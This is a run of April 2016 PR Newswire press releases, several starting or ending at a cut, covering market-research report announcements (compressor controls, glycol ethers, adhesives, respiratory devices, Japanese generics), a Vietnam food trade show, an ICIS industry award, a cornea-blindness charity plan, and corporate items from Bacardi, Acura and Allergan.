Compressors are widely used in the oil & gas industry in various core activities, starting from the initial treatment of crude oil/natural gas to transporting it through pipelines. They increase the pressure of the natural gas through heat and allow it to be transported from the production facility through the supply chain to end users.

Applications in the oil & gas industry accounted for the largest market share in 2015. This market is expected to grow at a high CAGR between 2016 and 2022. The number of compressors in the energy sector has increased greatly over the last few years, owing to the increased activity in the oil & gas production, transmission, and storage sectors.

Market in APAC expected to grow at the highest rate during the forecast period

The market in APAC is expected to grow at the highest CAGR between 2016 and 2022. In APAC, a majority of the demand for compressors comes from their installations in varied end-user industries such as oil & gas, petrochemical, power generation, and heavy industries such as cement and metals. The increase in the production capacity in petrochemical, oil & gas, and power generation plants is expected to spur the growth of compressor control systems in this region.

The report describes the drivers, restraints, challenges, and opportunities for the growth of the Compressor Control System Market along with market size forecast till 2022. The report also gives a qualitative and quantitative description about different industries considered for the compressor control system market. This global report gives a detailed view of the market across the four geographical regions, namely, the Americas, Europe, Asia-Pacific (APAC), and RoW.

Inquiry Before Buying: http://www.marketsandmarkets.com/Enquiry_Before_Buying.asp?id=78887295

The report profiles the most promising players in the compressor control system market. The key players in the compressor control systems market are General Electric Co. (U.S.), Rockwell Automation, Inc. (U.S.), Schneider Electric (France), Siemens AG (Germany), Wood Group Plc. (U.K.), Atlas Copco (Sweden), and Ingersoll Rand (Ireland).

Browse Related Reports

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http://www.marketsandmarkets.com/Market-Reports/control-valves-market-%20111759647.html

Advanced Process Control Market by Revenue Source (Software And Services), Application (Oil & Gas, Petrochemicals, Water & Wastewater, Chemicals, Power, Paper & Pulp, Pharmaceuticals, Food) And By Geography- Analysis & Forecast (2014 - 2020)

http://www.marketsandmarkets.com/Market-Reports/advanced-process-control-market-61285471.html

About MarketsandMarkets

MarketsandMarkets is the world's No. 2 firms in terms of annual published premium market research reports. Serving 1700 global fortune enterprises with more than 1200 premium studies in a year, M&M is catering to a multitude of clients across 8 different industrial verticals. We specialize in consulting assignments and business research across high growth markets, cutting edge technologies and newer applications. Our 850 fulltime analyst and SMEs at MarketsandMarkets are tracking global high growth markets following the "Growth Engagement Model - GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors.

M&M's flagship competitive intelligence and market research platform, "RT" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets. The new included chapters on Methodology and Benchmarking presented with high quality analytical info graphics in our reports gives complete visibility of how the numbers have been arrived and defend the accuracy of the numbers.

We at MarketsandMarkets are inspired to help our clients grow by providing apt business insight with our huge market intelligence repository.

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SOURCE MarketsandMarkets
AMSTERDAM, April 22, 2016 /PRNewswire/ --

With a population of more than 90 million, Vietnam is one of the most promising consumer markets in Asia, benefitting from favourable demographics, rapid urbanisation and increasing disposable incomes. As a result, the Vietnamese F&B market has grown at a rapid pace, and consumers have started to prefer the convenience of packaged food and products, which take less time to prepare and eat.

(Logo: http://photos.prnewswire.com/prnh/20130723/629764-a )



Euromonitor predicts retail sales in the packaged food market in Vietnam to reach over US$12 billion in 2019, growing 30.7% from 2014. High growth products in the forecast include ice cream, chilled and frozen processed food; ready meals; baby food; meal replacements; dairy; canned/preserved food and pasta. The world's biggest brewer, Anheuser Busch InBev, said Vietnam is the "next turning point" for growth in Southeast Asia, when it opened its first brewery in the country last year. According to the Viet Nam Beer, Alcohol and Beverage Association the F&B sectors have enormous potential for development with a stable annual growth rate of 7-8%.

"Food ingredients (Fi) Vietnam is unique. It is the only event dedicated solely to food ingredients in emerging Cambodia-Laos-Myanmar-Vietnam (CLMV) countries," noted UBM Asia (Thailand) Business Director, Rungphech (Rose) Chitanuwat. "Moreover, Fi Vietnam 2016 is so much more than just a trade show, offering conferences, seminars and in-depth Insight especially in the beverage sector and unmatched networking opportunities with food professionals in industry, government and academia, from not just around the region, but also around the world - the right ingredients for your success. Come to meet your new business partners and customers. You can see, touch, taste and experience the newest food ingredients, look at the latest trends, and the most recent innovations driving food science and product development."

With an expected 4,500+ visitors, and more than 150 exhibitors from Vietnam, France, Germany, Poland, Italy, Thailand, India, Japan, Taiwan, China, Malaysia and Korea, Fi Vietnam 2016 gives you even more opportunities to do business. Chitanuwat noted that "this growth could not have been achieved without the ongoing support of our trusted partners, including the Vietnam Association of Food Science and Technology (VAFoST), Cambodia Association of Food Science and Technology (CAFST), Food and Foodstuff Association of Ho Chi Minh City (FFA) and Vietnam Beer, Alcohol and beverage Association (VBA)."

UBM is excited to again support the prestigious annual VAFoST Young Achievers' Safe Food Competition, with the support of the Saigon Technology University. "UBM is always looking to the future of the industry. We aim to support students and encourage them to become the next generation of food scientists," Chitanuwat added. "This year, the competition theme is 'Greener food products for the ASEAN consumers'. Undergraduate students from universities and colleges with Food Technology programmes in Vietnam and Cambodia are required to create innovative packaged food products (new formulations, new product formats, new packaging etc.) from domestic material resources that are stable at room temperature. UBM has supported students by providing funds to the 20 teams, to develop their competition entries. Also, we support space to showcase their development at Fi Vietnam 2016."

Now is the time to begin making plans to join us for Fi Vietnam 2016, on 18-20 May at the Saigon Exhibition and Convention Centre. Add us to your calendar, and get ready to discover the industry's best products and newest solutions to improve your business. You can register online at http://fi-vietnam.net/PR to receive your free three-day entrance pass, a free show catalogue and free entrance to all onsite features. You will also find a full list of confirmed exhibitors, conference and seminar programmes, and so on.

About The Organiser

Owned by UBM plc listed on the London Stock Exchange, UBM Asia is Asia's leading exhibition organiser and the biggest commercial organiser in mainland China, India and Malaysia. Established with its headquarters in Hong Kong and subsidiary companies across Asia and in the US, UBM Asia has a strong global network of 32 offices and 1,300 staff in 24 major cities. We operate in 19 market sectors with 230 exhibitions and conferences, 28 trade publications, 18 online products for over 2,000,000 quality exhibitors, visitors, conference delegates, advertisers and subscribers from all over the world.

SOURCE UBM EMEA
DUBLIN, April 22, 2016 /PRNewswire/ --

Research and Markets has announced the addition of the "Glycol Ethers Market: By Type (Ethylene Glycol Ethers, Propylene Glycol Ethers and Others); By Application (Pharmaceutical, Paints, Adhesives, Cleaning Fluids and Others); By Geography - Forecast (2015-2020)" report to their offering.

(Logo: http://photos.prnewswire.com/prnh/20160330/349511LOGO )



Glycol ethers form a varied family of more than 30 solvents. All these glycol ethers have different properties - and are therefore fit for different uses. Traditionally, a distinction is made between two main groups of glycol ethers: E series and P series, depending on whether they are made from ethylene or propylene. In each group, different derivatives have been developed to provide the properties of solubility, volatility, compatibility and inflammability required for the applications.



The global glycol ethers market is evaluated based on different types such as propylene glycol ethers, ethylene glycol ethers and others. The major applications of glycol ethers are in pharmaceuticals, paints & coatings, adhesives, cleaning fluids and more. The report also focuses on different geographic regions and the key countries in terms of changing trends in using glycol ethers in various fields.



This report gives the detailed information about the product value chain right from the beginning, which as the power in the hands of producers and consumers, analysis of the degree of competition, and threats of substitutes and new entrants. Apart from the above, the report also includes raw materials till end-use.

Companies Mentioned:

BASF SE

China Petrochemical Corporation (Sinopec Group)

Eastman Chemical Company

Formosa Plastics Corporation

Huntsman Corporation

INEOS

LyondellBasell

Royal Dutch Shell plc

plc Saudi Basic Industries Corporation (SABIC)

The Dow Chemical Company

Others

Report Structure:



1. Glycol Ethers - Market Overview

2. Executive Summary

3. Glycol Ethers - Market Landscape



4. Glycol Ethers - Market Forces



5. Glycol Ethers - Strategic Analysis



6. Glycol Ethers - By Type



7. Glycol Ethers - By Application



8. Glycol Ethers - By Geography



9. Market Entropy



10. Company Profiles



11. Appendix

For more information visit http://www.researchandmarkets.com/research/bxf7l5/glycol_ethers





Media Contact:

Research and Markets

Laura Wood, Senior Manager

press@researchandmarkets.com



For E.S.T Office Hours Call 1-917-300-0470

For U.S./CAN Toll Free Call 1-800-526-8630

For GMT Office Hours Call +353-1-416-8900



U.S. Fax: 646-607-1907

Fax (outside U.S.): +353-1-481-1716



SOURCE Research and Markets
DUBLIN, April 22, 2016 /PRNewswire/ --

Research and Markets has announced the addition of the "Hot Melt Adhesives Market: By Type (Ethylene-vinyl Acetate, Polyurethanes, Polyamides, Polyolefin, Others) By Application (Automobile, Construction, Electronic, F&B, Industrial Assembly, Packaging, Textile, Wood Working, Others)-Forecast (2015-2020)" report to their offering.

(Logo: http://photos.prnewswire.com/prnh/20160330/349511LOGO )



The hot melt adhesives are defined as adhesives that melt and flow, on application of heat and solidify on cooling, to give a strong adhesion. They are applied in a molten state at temperatures that range from 120 C to 180 C depending on applications and materials to be bonded. Hot melt adhesives are multi-polymer adhesives which allow adjusting certain characteristics by blending of two or more polymers and additives.



The increasing requirement of new consumer products is the driving force for technological progress for the hot melt adhesives market. Nowadays, each new product that is developed must not only be better and more favourably priced than its predecessor, but must also meet the requirement of sustainability. This is where the importance of hot melt adhesives comes into picture. The growing demand from the end user applications forms the driving force for hot melt adhesives market.



The overall market is presented from the perspective of different geographic regions and the key countries in each region. The market has been segmented in to four regions North America, Europe, Asia-pacific and Rest of the World. Competitive landscape for industry and market players are profiled with attributes of company overview, financial overview, business strategies, product portfolio and recent developments. Market shares of the key players for 2014 are provided.

Companies Mentioned:

3M Company

Arkema SA

Avery Dennison Corporation

Dow Corning Corporation

H.B. Fuller Company

Henkel AG & Co. KGaA

Illinois Tool Works Inc.

LORD Corporation

Pidilite Industries, Ltd

Royal Adhesives & Sealants, LLC.

Sika AG

Report Structure:



1. Hot Melt Adhesives Market- Market Overview

2. Executive Summary

3. Hot Melt Adhesives Market- Market Landscape



4. Hot Melt Adhesives Market- Market Forces



5. Hot Melt Adhesives Market- Strategic Analysis



7. Hot Melt Adhesives Market: By Application



8. Hot Melt Adhesives Market: Geography



9. Market Entropy



10. Company Profile



11. Appendix

For more information visit http://www.researchandmarkets.com/research/bkgp6v/hot_melt

Media Contact:



Research and Markets

Laura Wood, Senior Manager

press@researchandmarkets.com

For E.S.T Office Hours Call +1-917-300-0470

For U.S./CAN Toll Free Call +1-800-526-8630

For GMT Office Hours Call +353-1-416-8900

U.S. Fax: 646-607-1907

Fax (outside U.S.): +353-1-481-1716

SOURCE Research and Markets
ALBANY, New York, April 22, 2016 /PRNewswire/ --

According to a new market report published by Transparency Market Research "Respiratory Monitoring Devices Market - Global Industry Analysis, Size, Share, Growth, Trends, and Forecast, 2015 - 2023", the global respiratory monitoring devices market was valued at US$1.4 bn in 2014 and is projected to reach US$2.8 bn by 2023 at a CAGR of 8.2% from 2015 to 2023.

Download Research Brochure: http://www.transparencymarketresearch.com/sample/sample.php?flag=B&rep_id=1415

Respiratory disease is a serious public health concern due to rapidly growing number of smokers worldwide. Governments are implementing various health schemes to reduce the death rate caused due to respiratory disease and disorders. Respiratory disease is a medical condition that affects the structure and organs (respiratory system) associated with respiration or breathing. Rise in respiratory diseases such as chronic obstructive pulmonary diseases, asthma, and lung cancer has triggered the growth of the respiratory monitoring devices market. Moreover, there has been a paradigm shift from hospital care to home health care. This is due to high hospital expenditure, decline in medical reimbursement due to cost containment issues, and rise in the geriatric population. These factors have contributed to the growth of the respiratory monitoring devices market.

Research Report with TOC & Free Analysis: http://www.transparencymarketresearch.com/respiratory-monitoring-devices.html

The pulse oximeters segment dominated the global respiratory monitoring devices market in 2014. Factors such as highly accurate, rapid, and effective results produced by the device fuel the growth of the segment. The pulse oximeters segment is also expected to register the fastest growth during the forecast period due to better diagnostic result in a shorter span of time as compared to other monitoring devices. Based on end-user, the global respiratory monitoring devices market has been segmented into hospitals, laboratories, and home use. The hospitals segment held the largest market share in 2014. It is projected to expand at the highest CAGR during the forecast period due to increasing incidence of chronic respiratory diseases globally. Furthermore, growing number of hospital admissions due to rising respiratory disorders among the global population contributed to the growth of the hospitals end-user segment.

The global respiratory monitoring devices market exhibits intense competition among existing players. The market is fragmented, characterized by the presence of both established as well as emerging companies. Major players operating in the global respiratory monitoring devices market are CareFusion Corporation, Smiths Medical, ResMed, Inc., Masimo Corporation, COSMED, GE Healthcare, MGC Diagnostic Corporation, and ndd Medical Technologies, Inc., among others.

Browse Regional PR: http://www.europlat.org/global-respiratory-monitoring-devices-market.htm

The global respiratory monitoring devices market has been segmented as given below:

Global Respiratory Monitoring Devices Market, by Product

Spirometers

Peak Flow Meters

Pulse Oximeters

Capnographs

Global Respiratory Monitoring Devices Market, by End-user

Hospitals

Laboratories

Home Use

Global Respiratory Monitoring Devices Market, by Geography

North America U.S. Canada

Europe Germany Europe Rest of Europe

Asia Pacific Japan Australia Rest of Asia Pacific

Latin America Brazil Mexico Rest of Latin America

Middle East & Africa Saudi Arabia South Africa

& Rest of Middle East & Africa

Other Reports by TMR:

Regulatory Affairs Outsourcing Market:

http://www.transparencymarketresearch.com/global-regulatory-affairs-outsourcing-market.html

Teleradiology Market:

http://www.transparencymarketresearch.com/teleradiology-technology-market.html

Collagen Market:

http://www.transparencymarketresearch.com/collagen-market.html

About Us:

Transparency Market Research (TMR) is a U.S. based provider of syndicated research, customized research, and consulting services. TMR's global and regional market intelligence coverage includes industries such as pharmaceutical, chemicals and materials, technology and media, food and beverages, and consumer goods, among others. Each TMR research report provides clients with a 360-degree view of the market with statistical forecasts, competitive landscape, detailed segmentation, key trends, and strategic recommendations.

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SOURCE Transparency Market Research
DUBLIN, April 23, 2016 /PRNewswire/ --

Research and Markets has announced the addition of the "Japan Generics Drug Market Outlook 2020" report to their offering.

(Logo: http://photos.prnewswire.com/prnh/20160330/349511LOGO )



Japan have one of the most advanced research and development facilities across the world contributing significantly to the development of healthcare infrastructure. Japan has opened its pharmaceutical market for foreign trade leading to higher input of drugs. Their population is going in downward spiral where number of young people are lesser then geriatric population. In this way, they have high demand for therapeutic products due which their pharmaceutical market is increasing.



Observation shows that Japanese pharmaceuticals market is heavily inclined towards consumption of branded drugs. Due to presence of higher technological capabilities they were able to commercialize innovative drugs. Significant investments were made in research and development segment due to which new products are being made. It promoted the utilization of branded drugs in Japanese market. Presence of universal healthcare system also allowed the patients to include generic drugs in their therapeutic regime. They to invest small out of pocket money while buying branded drugs as rest of the part is covered by the universal healthcare system. Branded drugs market got boost due to regulator's policies but these drugs are quite costly. As a result, stagnant economy is not able to sustain burgeoning financial pressure on healthcare system.

Japanese generic drugs market is largely unchurned due to which it offers significant commercialization opportunities. Both domestic and foreign pharmaceutical companies are expected to take advantage of this scenario. Japanese regulators have developed amenable rules due to which foreign pharmaceutical companies can venture in generic drugs segment. This will increase the competition and further decrease the prices of generic drugs in Japanese market. Moreover, it will build a strong supply chain due to which dearth of generic drugs will not occur in future.



Regulators will also be able to increase their consumption by promoting more numbers of patients opting for the generic drugs. In this way, they will be able to observe decrease in investments in healthcare system. To achieve higher cost savings, more work has yet to be done in coming years.

Prices of both generic and branded drugs are checked by Japanese regulators after every two years. This allows the patients to spend less money for treatment of their diseases in long-term scenario. But it could be observed that patients are not willing to switch to the generic drugs despite lesser cost. Main reason behind this fact is that cost difference between these drugs is not significant. Higher buying power of patients allow them to include costly branded drugs in their daily therapeutic regime. This scenario shows that Japanese regulators have to further decrease the prices of generic drugs in order to offer higher cost arbitrage. They also have to increase the uptake of generic drugs in order to decrease the prevalence of branded drugs as major component of healthcare system. Some of the measures have been implemented but their results are yet to be observed in coming years.



Key Topics Covered:



1. Introduction to Japan Generic Drug Market



2. Attractiveness of Japan Generic Market



3. Scenario of Generic Drugs in Japan



4. Super Generics in Japan



5. Different Parameters for Generic & Branded Drugs in Japan



6. Generic Active Pharmaceutical Ingredients in Japan



7. Health in Japan & Utilization of Generic Drugs



8. Healthcare System & Generic Drugs in Japan



9. Comparison of Generic Drugs in US & Japan

10. Japan Generic Drugs Market Analysis



11. Japan Generic Market Favorable Factors



12. Japan Generics Market Commercialization Challenges



13. Japan Generic Drugs Market Future Prospects



14. Competitive Landscape



- Actavis

- Eisai

- Fuji Pharma

- GlaxoSmithKline

- Hospira

- Meiji Seika Pharma

- Nichi-Iko Pharmaceutical

- Nipro Pharma

- Pfizer

- Sawai Pharmaceuticals

- Takeda Pharmaceutical

- Towa Pharmaceutical



For more information visit http://www.researchandmarkets.com/research/7289vp/japan_generics



Media Contact:

Research and Markets

Laura Wood, Senior Manager

press@researchandmarkets.com



For E.S.T Office Hours Call 1-917-300-0470

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SOURCE Research and Markets
LONDON and NEW YORK, April 22, 2016 /PRNewswire/ --

The 2016 ICIS Kavaler Award, sponsored by The Chemists' Club, and in association with The Valence Group, will be awarded to Jim Ratcliffe, chairman of INEOS, in recognition for outstanding achievement as voted on by his peers.

(Logo: http://photos.prnewswire.com/prnh/20160408/353056LOGO )

This unique global chemical industry award will be presented to Mr. Ratcliffe at a black tie dinner ceremony on Wednesday, September 14, 2016, at the Metropolitan Club of New York, in New York City.

The winner of the ICIS Kavaler Award is selected by his/her peers - the senior executives in the ICIS Top 40 Power Players listing - a global ranking of the leaders making the greatest positive impact on the chemical industry.

"I am delighted to receive this award on behalf of INEOS. We live in challenging times and it is essential that our industry responds rapidly to those challenges. That is what we have been trying to achieve in INEOS and I'm proud for all of our employees that those efforts have been recognised by our peers," said Ratcliffe.

"Jim Ratcliffe has led INEOS as one of the most creative and intrepid chemical companies worldwide. By investing in his long-term vision, INEOS is the first ever to import US ethane for local petrochemical production. The company is also on the forefront of shale gas exploration in the UK and has been a key consolidator in the European polyvinyl chloride (PVC) sector," said Joseph Chang, global editor of ICIS Chemical Business.

In the award selection process, ICIS and The Chemists' Club invited each of the ICIS Top 40 Power Players for 2015 to vote for three individuals on the ballot, based on newsworthy achievement in one or more of the following categories:



- Profitability/shareholder value

- Mergers and acquisitions (deals or integration)

- Projects/capital investment

- Innovation - technology, product, business process with an impact on industry and society

Previous winners of the ICIS Kavaler Award include Dow Chemical CEO Andrew Liveris (2015), former LyondellBasell CEO Jim Gallogly (2014) and former PPG Industries CEO Charles Bunch (2013).

For more information on the ICIS Kavaler Award, please contact Bernard Petersen at ICIS, bernard.petersen@icis.com, +1-646-961-0708 or Melinda Wasserman at The Chemists' Club, mwasserman@chemistsclub.org, +1-917-863-2004. Also visit: http://www.icis.com/press-releases/jim-ratcliffe-ineos-chairmain-to-receive-the-2016-icis-kavaler-award/

Background

The award is a revival of the Kavaler Award, which was presented by Chemical Market Reporter to leading chemical CEOs from 1990 to 1999, including Jon Huntsman Sr., founder, chairman and CEO of Huntsman, and Frank Popoff, chairman and CEO of Dow Chemical. Arthur Kavaler, who served for 46 years as reporter, editor and eventually publisher and editor-in-chief of Chemical Market Reporter - one of the three publications incorporated into ICIS Chemical Business - passed away at the age of 91 on January 18, 2012. Kavaler, a probing reporter and an editor with unwavering conviction, had a major impact on chemical industry journalism.

About ICIS

ICIS Chemical Business is part of ICIS. ICIS is the world's largest petrochemical market information provider and has fast-growing energy and fertilizer divisions. Our aim is to give companies in global commodities markets a competitive advantage by delivering trusted pricing data, high-value news, analysis and independent consulting, enabling our customers to make better-informed trading and planning decisions. We have more than 30 years' experience in providing pricing information, news, analysis and consulting to buyers, sellers and analysts.

With a global staff of more than 800, ICIS has employees based in Houston, Washington, New York, London, Montpellier, Dusseldorf, Karlsruhe, Milan, Barcelona, Mumbai, Singapore, Guangzhou, Beijing, Shanghai, Yantai, Tokyo and Perth. ICIS is a division of Reed Business Information, part of RELX Group.

Subscribe to ICIS Chemical Business at http://www.icis-subs.com.

About Reed Business Information

Reed Business Information provides information and online data services to business professionals worldwide. Customers have access to our high-value industry data, analytics, information and tools. Our strong global brands hold market-leading positions across a wide range of industry sectors including banking, petrochemicals and aviation where we help customers make key strategic decisions every day. RBI is part of RELX Group plc, a leading global provider of data, information and solutions for professional customers.

About INEOS

INEOS is a global manufacturer of petrochemicals, speciality chemicals and oil products. It comprises 18 businesses each with a major chemical company heritage. Its production network spans 65 manufacturing facilities in 16 countries throughout the world. INEOS products make a significant contribution to saving life, improving health and enhancing standards of living for people around the world. Its businesses produce the raw materials that are essential in the manufacture of a wide variety of goods: from paints to plastics, textiles to technology, medicines to mobile phones - chemicals manufactured by INEOS enhance almost every aspect of modern life. http://www.ineos.com

About The Chemists' Club

Founded in 1898. The Chemists' Club is a non-profit educational organization whose membership is open to anyone with an interest in the chemical sciences, including chemists and chemical engineers, people in the life sciences, security analysts, attorneys, educators and consultants as well as students (dues free). The club is working with students to help them make informed career choices as well as to better prepare them for those careers. For more information about The Chemists' Club, please go to http://www.thechemistsclub.com.

About The Valence Group

The Valence Group is a specialist investment bank offering M&A advisory services exclusively to companies and investors in the chemicals, materials and related sectors. The Valence Group team includes a unique combination of professionals with backgrounds in investment banking and strategic consulting within the chemicals and materials industries, all focused exclusively on providing M&A advisory services to the chemicals and materials sector. The firm's offices are located in New York and London. http://www.valencegroup.com

Contacts:

ICIS Chemical Business

Bernard Petersen

Bernard.petersen@icis.com

+1-646-961-0708



The Chemists' Club

Melinda Wasserman

mwasserman@chemistsclub.org

+1-917-863-2004



INEOS

Richard Longden

E: richard.longden@ineos.com

+41 (0) 216 277 063



The Valence Group

Telly Zachariades

tzachariades@valencegroup.com

+1-212-847-7340

SOURCE ICIS
LONDON, April 22, 2016 /PRNewswire/ --

The Tej Kohli Cornea Institute (TKCI) in partnership with the world-renowned LV Prasad Eye Institute (LVPEI), has today laid out its plan to control corneal blindness, globally, by 2030. This is a five year acceleration from previous estimates and one which will substantially alleviate the impact on economic growth in developing countries that sight impairment causes.

(Logo: http://photos.prnewswire.com/prnh/20160401/350422LOGO )



Corneal blindness is responsible for 4.9 million* of the 39 million blind people in the world and is the third major cause of blindness after cataract and glaucoma. The Tej Kohli Foundation has long been committed to a programme of corneal education and care in India and its partnership with the LVPEI to form TKCI is part of a strategy to accelerate this in India and then globally.

Since the TKCI was founded in December 2015, with an injection of USD 10 million funding from the Tej Kohli Foundation, it has completed 2,000 successful corneal operations in India, including over 1,000 corneal transplants. Following its early success, the TKCI has been invited to review corneal services in Oman and assist them with restarting corneal transplants.

Tej Kohli, Chairman of Kohli Ventures and Founder of the Tej Kohli Foundation said, "Alongside world-class technology and expertise, we now have a programme of education and training, eye research, product development and a global network of resource centres, which makes it possible to extend our vision to control corneal blindness across the globe by 2030."

Pravin Vaddavalli, Director, Tej Kohli Cornea Institute, said, "Corneal blindness and diseases causing it have been on the radar of corneal surgeons for years but with the focus and funding brought in by TKCI, controlling needless blindness by 2030 has for the first time, started to sound like a reality."

The TKCI and LVPEI are developing a network of cornea institutes regionally and eventually around the world which will work together to control corneal blindness. The strategy will encompass direct impact through service delivery and education, and indirect impact through education, research, models, advocacy, plans and policy.

Phase 1 (2 years)

Upgrading and doubling of capacity in all of the LVPEI's four academic/tertiary care campuses in, patient care, education and research

Explore and harness technology in the field of cornea disease and blindness

Assess the magnitude of the problem in areas of impact

Phase 2 (2-8 years)

Network of cornea centres in India and internationally

and internationally Four regional centres in India

10 international centres

Help in the development of cornea units in medical colleges

Research & education innovation (throughout Phase 1 & 2 and beyond)

New techniques of stem cell therapy

Effective control of corneal infections

Eye banking model for developing countries

Technology transfer to corneal preservation media

Training eye care professionals in the care of corneal transplants

Primary and secondary eye care interventions for corneal problems

Corneal transplants in children

Comprehensive care of end stage of corneal disease

Preventive strategies at the primary level

NOTES TO EDITORS

*Globally, bilateral (both-eyes) corneal blindness is estimated to be 4.9 million persons or 12.5% of 39 million blind, utilizing WHO 2010 global blindness data and WHO 2002 sub-region causes (updated by 2010 data) to define regional prevalence.

Reference Press; 2009. World Health Assembly Document A62/7: Action plan for the prevention of avoidable blindness and visual impairment. 2009 - 2013; pp. 7-17.

Unilateral (one-eye) corneal blindness is not captured in WHO data, but is estimated to occur in 23 million globally out of 285 million visually impaired.

Reference - Indian J Ophthalmol. 2012 Sep-Oct; 60(5): 423-427.

About the Tej Kohli Foundation

The Tej Kohli Foundation was founded in 2005 by Tej Kohli and his wife Wendy as an autonomous, non-profit organisation with the initial goal of helping disadvantaged children break free from poverty. Areas of work include treating and preventing corneal blindness; offering midday meals for malnourished children; vocational training for the physically disabled; improving the health of rural communities; and empowering women. The Tej Kohli Foundation currently operates in Costa Rica and India, whilst constantly exploring new countries where they can have the most impact on society at large. The Foundation is supported through the success of Kohli Ventures and the skills and intellectual capital provided by its senior management team and assistance of volunteers.

About L V Prasad Eye Institute

The L V Prasad Eye Institute (LVPEI) was established in 1986-87 at Hyderabad as a not-for-profit, non-government, public-spirited, comprehensive eye care institution. LVPEI is governed by two trusts: the Hyderabad Eye Institute and the Hyderabad Eye Research Foundation. The Institute is a World Health Organization Collaborating Centre for Prevention of Blindness and a Global Resource Center for VISION 2020: The Right to Sight initiative. LVPEI has six active arms to its areas of operations namely Clinical Services, Education, Research, Rehabilitation and Sight Enhancement Services, Eye Bank, and Public Health and Rural Outreach.

SOURCE Tej Kohli Foundation
HAMILTON, Bermuda, April 22, 2016 /PRNewswire/ -- In honor of Earth Day, Bacardi shares its Good Spirited sustainability story through animation. Learn about Bacardi commitments to building a more sustainable future across operations, packaging and responsible sourcing. And, learn how Bacardi employees and consumers can make a difference.

Video - http://origin-qps.onstreammedia.com/origin/multivu_archive/PRNA/ENR/FX-BACARDI-GOOD-SPIRITED-04-22-2016.mp4

Logo - http://photos.prnewswire.com/prnh/20140218/NY66998LOGO
Acura will again host the Main Stage -- the "Acura Stage" -- with a diverse range of performances by some of the world's most accomplished musicians including Stevie Wonder, Pearl Jam, Red Hot Chili Peppers, Neil Young, Paul Simon and Trombone Shorty & Orleans Avenue, among others.

New for 2016: Acura Expands New Orleans Footprint

In conjunction with the Trombone Shorty Foundation, Acura is the official automotive sponsor of the Shorty Fest benefit concert hosted by Troy "Trombone Shorty" Andrews, who is marking his fourth year closing out the Acura Stage at Jazz Fest. Additionally this year, Acura will donate several Acura VIP Packages to the silent auction at the House of Blues to benefit the Foundation.

Also new this year, Acura is presenting "Trad Fridays" at the New Orleans Center for Creative Arts (NOCCA), a celebration of teaching traditional brass-band street music to the classically trained students at NOCCA. "Trad Fridays" is a new program launched in 2016 by The Trombone Shorty Foundation in partnership with NOCCA where notable brass-band legends lead a series of four classes each semester. The student band from NOCCA is set to perform at Shorty Fest 2016 and officially announce Acura's sponsorship of this semester's classes.

"Acura has a long history with the New Orleans Jazz & Heritage Festival and we are excited about broadening that relationship with local arts education programs through our expanding collaboration with Trombone Shorty," said Jon Ikeda, vice president of Acura Sales. "Support of the arts is very important to the Acura brand, and extending that to local student performers supported by the Trombone Shorty Foundation will help foster the next generation of dynamic musicians."

As part of the Jazz Fest partnership activation, Acura will present its full model lineup of vehicles in the Acura Product Experience tent, which includes five display vehicles, top-of-the-line listening booths set up inside Acura MDX and RDX models, virtual reality driving games, a green screen photo booth featuring the NSX Supercar and more. The Acura Product Experience is open to the public and provides select lucky festival attendees the chance to win access to the exclusive Acura VIP Lounge and special passes to the Acura side stage.

For Jazz Fest 2016, fans are able to enter the "Acura Tweet Your Way to the Front Row" sweepstakes on Twitter for VIP festival front row access by tweeting Jazz Fest photos tagged with #AcuraLive and #SweepsEntry.

For the full lineup of artists and more information on the New Orleans Jazz & Heritage Festival, visit www.nojazzfest.com.

For more information on Shorty Fest 2016 and the Trombone Shorty Foundation, visit www.tromboneshortyfoundation.org.

For More Information

Consumer information is available at www.acura.com. To join the Acura community on Facebook, visit facebook.com/Acura. Additional media information including pricing, features and high-resolution photography is available at acuranews.com/channels/acura-automobiles.

About Acura

Acura is a leading automotive luxury nameplate that delivers Precision Crafted Performance through advanced product design and innovative technologies like Acura Super Handling All-Wheel Drive (SH-AWD) and Precision All-Wheel Steer (P-AWS). On March 27, 2016, Acura will celebrate the 30th anniversary of its launch as the first luxury nameplate from a Japanese automaker.

The Acura lineup features five distinctive models  the RLX luxury flagship sedan, the TLX performance luxury sedan, the ILX sport sedan, the 5-passenger RDX luxury crossover SUV, and the seven-passenger Acura MDX, America's all-time best-selling three-row luxury SUV. This spring, Acura will launch its next-generation, electrified NSX supercar as a new and pinnacle expression of Acura Precision Crafted Performance.

Photo - http://photos.prnewswire.com/prnh/20160421/358584

Logo - http://photos.prnewswire.com/prnh/20100923/ACURALOGO



SOURCE Acura

Related Links

http://www.acura.com


DUBLIN and BOSTON, April 21, 2016 /PRNewswire/ -- Allergan plc (NYSE: AGN), a leading global pharmaceutical company, today announced that it has acquired Topokine Therapeutics, a privately held, clinical-stage biotechnology company focused on developing topical medicines for fat reduction. Under the terms of the agreement, Allergan acquired Topokine Therapeutics for an upfront payment of $85 million and success-based development and sales milestones for XAF5, a first-in-class topical agent in late-stage development for the treatment of steatoblepharon, also known as undereye bags.

Logo - http://photos.prnewswire.com/prnh/20150612/222796LOGO

Applied to the lower eyelids once nightly, XAF5 penetrates the skin and acts pharmacologically on fat cells to shrink undereye bags. An estimated 40 million Americans have steatoblepharon,i which can make the face look older, tired, stressed or sad. In XOPH5-OINT-2, a Phase 2 randomized, placebo-controlled clinical trial, XAF5 met the primary endpoint achieving statistically significant and clinically meaningful reductions in undereye bags. In January 2016 Topokine initiated XOPH5-OINT-3, a pivotal Phase 2b/3 study of XAF5.

"The acquisition of Topokine and its XAF5 technology adds an innovative technology to Allergan's industry leading mid-to-late stage pipeline of more than 70 programs and bolsters our leadership in medical aesthetics," said David Nicholson, Executive Vice President and President, Global Brands Research & Development at Allergan. "XAF5 has the potential to be the first topical fat reduction product for the treatment of steatoblepharon, a condition with no current therapeutic options available for patients. We look forward to continuing the outstanding development work conducted by the Topokine team to bring this innovative medical aesthetic treatment to market."

"Allergan is a leader in medical and facial aesthetics, with unparalleled commercial and development expertise in the medical aesthetics community and a laser-focus on innovation. These characteristics make Allergan ideally suited to continue the successful development and maximize the potential commercialization of XAF5," said Murat Kalayoglu, MD, PhD, Topokine's Chief Executive Officer and a board-certified ophthalmologist. "I am deeply appreciative of the commitment and dedication of our Topokine team that has championed the discovery and development of XAF5. We look forward to working with Allergan to ensure continued development success for XAF5 and realize a successful launch of the product."

